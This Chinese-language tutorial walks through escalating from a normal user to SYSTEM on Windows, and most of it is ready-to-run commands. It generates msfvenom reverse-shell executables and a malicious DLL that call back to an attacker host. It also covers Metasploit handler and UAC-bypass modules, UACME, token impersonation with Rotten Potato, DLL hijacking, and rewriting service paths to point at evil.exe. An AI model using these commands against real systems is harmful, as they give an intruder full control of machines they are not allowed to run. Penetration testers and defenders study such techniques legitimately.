权限提升 | windows提权从不会到理解原理最后灵活使用工具
字数 1220 2025-08-10 23:41:58
Windows权限提升全面指南:从原理到实战
1. 权限提升概述
权限提升的目的是获取更高级别的系统权限,以便执行需要高权限的操作。在Windows系统中,这通常意味着从普通用户权限提升到SYSTEM或Administrator权限。
1.1 提权基本流程
- 信息收集
- 自动化工具尝试
- 半自动化工具尝试
- 漏洞EXP利用
- 系统命令提权
- 手工提权
2. 信息收集
信息收集是提权的基础,需要全面了解目标系统环境:
2.1 常用信息收集命令
systeminfo # 查看系统信息
whoami /priv # 查看当前用户权限
net user # 查看用户账户
net localgroup # 查看本地组
netstat -ano # 查看网络连接和端口
tasklist /svc # 查看进程和服务
schtasks /query /fo LIST /v # 查看计划任务
2.2 自动化信息收集工具
3. 手工提权方法
3.1 AT命令提权
适用版本: Windows 2000/2003/XP
at 14:30 /interactive cmd # 在指定时间创建SYSTEM权限的cmd
3.2 SC命令提权
适用版本: Windows 7/8/2008/2012/2016
# 创建服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact
# 启动服务
sc start syscmd
3.3 PS命令提权
适用版本: Windows 2008/2012/2016
使用PsExec工具:
psexec.exe -accepteula -s -i -d cmd
4. MSF提权方法
4.1 基本流程
- 生成反弹后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=端口 -f exe -o msf.exe
- 设置监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.1
set lport 6666
run
4.2 自动检测漏洞
# 枚举已安装补丁
use post/windows/gather/enum_patches
set sessions 1
run
# 自动建议可利用漏洞
use post/multi/recon/local_exploit_suggester
set showdescription true
set sessions 1
run
4.3 getsystem提权
getsystem # 自动尝试多种提权技术
5. 绕过UAC保护
Windows Vista及更高版本有UAC(用户账户控制)保护,需要绕过才能提权。
5.1 MSF绕过模块
# Win7
use exploit/windows/local/bypassuac
# Win10
use exploit/windows/local/ask
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup
5.2 UACME工具
Akagi64.exe 41 msf1.exe # 41是常用绕过编号
6. 进程迁移提权
6.1 手动迁移
使用pinjector工具:
pinjector -l # 列出进程
pinjector -p 436 cmd # 迁移到PID 436
6.2 MSF迁移
ps # 查看进程
migrate PID # 迁移到指定PID
7. 令牌窃取提权
7.1 本地权限令牌窃取
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
7.2 WEB权限令牌窃取
使用烂土豆(Rotten Potato)利用MS16-075漏洞:
execute -cH -f ./potato.exe
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
8. DLL劫持提权
8.1 原理
利用应用程序加载DLL的顺序,在优先搜索路径放置恶意DLL。
8.2 实施步骤
- 使用火绒剑分析目标程序加载的DLL
- 生成恶意DLL:
msfvenom -p windows/meterpreter/reverse_tcp lhost=ip lport=端口 -f dll -o evil.dll
- 替换目标程序依赖的DLL或放置在优先搜索路径
9. 不安全服务提权
9.1 不带引号的服务路径
检测命令:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
利用方法:
- 找到路径如"C:/Program Files/Some Dir/Service.exe"
- 在C:/Program.exe或C:/Program Files/Some.exe放置恶意程序
9.2 不安全的服务权限
检测方法:
accesschk.exe -uwcqv "administrators" *
利用方法:
- 找到权限为"SERVICE_ALL_ACCESS"的服务
- 修改服务路径:
sc config "vds" binpath="C:\evil.exe"
- 启动服务或等待系统调用
10. 实用工具集合
11. 实战流程总结
- 信息收集全面了解系统
- 尝试自动化工具(Ladon, MSF等)
- 检查系统命令提权可能性(AT/SC/PS)
- 尝试进程迁移和令牌窃取
- 检查DLL劫持机会
- 分析服务安全性(路径不带引号/权限过高)
- 最后考虑手工提权
通过系统化的方法和工具组合,可以大大提高Windows权限提升的成功率。记住要因地制宜,根据目标系统的具体环境选择最合适的提权路径。